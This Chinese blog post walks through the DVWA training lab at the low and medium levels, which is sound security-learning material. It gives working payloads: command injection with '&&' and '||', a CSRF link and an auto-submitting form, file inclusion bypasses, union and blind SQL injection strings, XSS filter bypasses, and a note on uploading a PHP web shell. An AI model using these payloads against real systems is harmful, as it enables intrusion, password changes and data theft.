DVWA通关全解

最近在学习内网和系统方面的知识,有一段时间没有接触web方面的知识了,这里我就通过DVWA来进行复习,避免太久没有接触而生疏了。这里来记录一下过程。DVWA是什么这里就不介绍了。刚接触网安必接触的一个好的靶场。废话不多说,这里直接开始。

一、安装DVWA

DVWA可以通过下载源码来进行本地环境搭建,也可以使用docker安装,这里直接使用DVWA安装,更加简单,只要有docker即可,docker安装这里不再展示。

使用命令拉取镜像

docker pull citizenstig/dvwa

然后使用命令运行容器

docker run -dt --name dvwa -p 8999:80 --rm citizenstig/dvwa

然后在浏览器进行访问

http://localhost:8999

我这里使用的是子系统配置的,所以使用IP地址访问,访问之后初始化数据库,然后使用默认账号密码登录

账号:admin
密码:password

进去的页面如上所示。那么可以开始打靶场了。

靶场有几个等级,low,medium,high,impossible,这里我们从低往高进行。

二、Low

1、Vulnerability: Brute Force

这个只要使用暴力破解即可,使用bp的intruder模块进行爆破。这里就不再展示

2、Vulnerability: Command Injection

这个是通过输入ip地址进行ping,但是没有很好的过滤,导致能够通过管道符执行其它命令。比如说

127.0.0.1 && whoami

可以在最下面看到,whoami执行结果是www-data。其它命令这里不再展示。

3、Vulnerability: Cross Site Request Forgery (CSRF)

CSRF(跨站请求伪造),通过构造恶意页面来执行其恶意攻击。这里我们先尝试修改密码

可以看到修改后密码在url显示,以get方式进行。那么我们可以通过构造恶意链接让用户执行,比如说

http://172.25.54.94:8999/vulnerabilities/csrf/?password_new=1234&password_conf=1234&Change=Change#

然后将此链接变成短链接诱导用户访问,然后即可更改密码

访问之后

密码更改成功。

4、Vulnerability: File Inclusion

通过访问file1.php,file2.php, file3.php会返回不通的内容,同时会将文件名传参给page参数

那么我们可以将其它的内容传给page来进行解析,比如说

http://172.25.54.94:8999/vulnerabilities/fi/?page=http://172.25.54.94/23.php

可以看到成功解析。

5、Vulnerability: File Upload

这里我们先上传php一句话木马,

上传成功,使用蚁剑连接

成功连接

6、Vulnerability: Insecure CAPTCHA

这里没有配置,就不再展示了

7、Vulnerability: SQL Injection

使用1'进行测试,发现出错了,说明有sql注入

那么直接order by

那么字段数为2,接下来就是爆表了,使用命令如下

1' union select 1,database()#

爆出表名dvwa,接下来就是列出一系列命令,这里不再展示

爆表:1' union select 1,(select table_name from information_schema.tables where table_schema='dvwa' limit 0,1)#
爆列:1' union select 1,(select column_name from information_schema.columns where table_name='guestbook' limit 0,1)#

8、Vulnerability: SQL Injection (Blind)

盲注的话有时间盲注和布尔盲注,先展示布尔盲注,我们先看看布尔盲注是如何判断的

可以看到其爆出错误不同,那么我们就可以通过这个判断,布尔盲注命令如下

爆数据库长度:1'and length(database())=4#

爆数据库的第一个字符:1'and substr(database(),1,1)='a'#

爆表的长度:1'and length(select table_name from information_schema.tables where table_schema=database() limit 0,1)=9#

爆字段长度:1'and length(select column_name from information_schema.columns where
table_name='guestbook' limit 0,1)=10#

爆字段:1'and substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1)='g'#

其中也可以使用ascii码来进行,比如说
判断第一个的字符的ascii大于88:1'and ascii(substr(database(),1,1))>88#

表的长度为4

接下来就不再展示了。然后是时间盲注,使用命令如下

1'and if(length(database())=4,sleep(5),1)#
此语句意思是如果数据库的长度是4,那么执行slepp(5),否则返回1

然后判断的话如果会访问5秒只有就说明是对的,然后就是爆表,列之类的和上面一样即可。sql注入也可以使用sqlmap进行解决,但是个人比较喜欢手注,所以这里就没有展示工具的使用,不想手注的可以使用工具进行注入。

9、Vulnerability: Reflected Cross Site Scripting (XSS)

反射型XSS,只要使用相应的语句即可,比如说

<script>alert(1)</script>

10、Vulnerability: Stored Cross Site Scripting (XSS)

存储型XSS,只要在留言板能力使用上面的语句,那么每次访问时都会进行弹窗。

三、Medium

中等的话只是比低等的多了一些简单防御,这里我快速过一遍。细节就不再展示了。


1、Vulnerability: Brute Force

Medium等级主要区别是在登录失败后会执行sleep(2)函数,即程序休眠两秒,这两秒内不能再登录,这延长了我们爆破的时间但并不影响结果。

2、Vulnerability: Command Injection

添加了一个黑名单,把‘&&’字符和‘;’字符过滤掉了,但我们可以使用黑名单之外的命令连接符继续命令注入,比如说使用||也可以进行执行其它命令。

3、Vulnerability: Cross Site Request Forgery (CSRF)

Medium等级的CSRF加了一个referer头进行判断,那么我们可以构造恶意url来进行访问

首先构造恶意页面

<!DOCTYPE html>
<html>
<head>
    <!-- 确保跨域请求时,Referer 发送完整路径 -->
    <meta name="referrer" content="unsafe-url">
</head>
<body>
    <form action="http://172.25.54.94:8999/vulnerabilities/csrf/" method="GET">
        <input type="hidden" name="password_new" value="hacked">
        <input type="hidden" name="password_conf" value="hacked">
        <input type="hidden" name="Change" value="Change">
    </form>
    <script>
        // 页面加载后自动提交表单
        document.forms[0].submit();
    </script>
</body>
</html>

记住命名需要包括主机IP地址,比如说我的命名是172.25.54.94_hack.html。

然后使用python开一个http服务

然后使用如下url进行访问

http://127.0.0.1:8000/172.25.54.94_hack.html

更改成功。这样在referer头中就会带入相应的url。Referer绕过:添加<meta name="referrer" content="unsafe-url">,在访问的时候完整带上URL,即可绕过。有时候或者直接删除referer也可以绕过其防御。


4、Vulnerability: File Inclusion

Medium中将传参值中有http:// ,https:// …/ …\都将替换为空,那么我们使用

htthttp://p://172.25.54.94/23.php

5、Vulnerability: File Upload

只能上传jpg文件,那么我们就可以通过上传图片马,然后bp抓包修改后缀为php即可。


7、Vulnerability: SQL Injection

通过提交方式我们可以知道以post方式提交,那么其sql注入语句差别不大,只是需要抓包注入,这里就不再展示了。


8、Vulnerability: SQL Injection (Blind)

这个也是post方式。

9、Vulnerability: Reflected Cross Site Scripting (XSS)

这里过滤了<script>,那么我们可以通过双写即可绕过。

<scr<script>ipt>alert(1)</script>

10、Vulnerability: Stored Cross Site Scripting (XSS)

这个和上面是一样的。

四、High

high等级的话也是比较有挑战的,细节的话这里我就不展示了,推荐一个大佬写的,很详细,我肯定写不了那么详细的,哈哈哈。

DVWA通关攻略零到一【全】-优快云博客


评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

jieyu1119

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值